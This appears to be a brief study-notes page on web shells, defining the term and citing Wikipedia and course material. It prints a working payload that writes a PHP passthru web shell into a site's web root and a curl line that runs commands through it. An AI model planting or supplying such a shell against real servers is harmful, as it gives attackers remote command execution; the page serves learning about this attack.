Skip to content

Web Shells

Web shell - is a shell like interface which allowed remotely access to the web server using web browser.

Example of payload to create webShell in php site

echo+"<pre><?php+passthru(\$_GET['cmd']);+?></pre>"+>+/var/www/html/webshell.php
Using:
curl http://webshell.php?cmd=pwd

References

  1. (Wikipedia, 2021), https://en.wikipedia.org/wiki/Web_shell
  2. web200, p. 383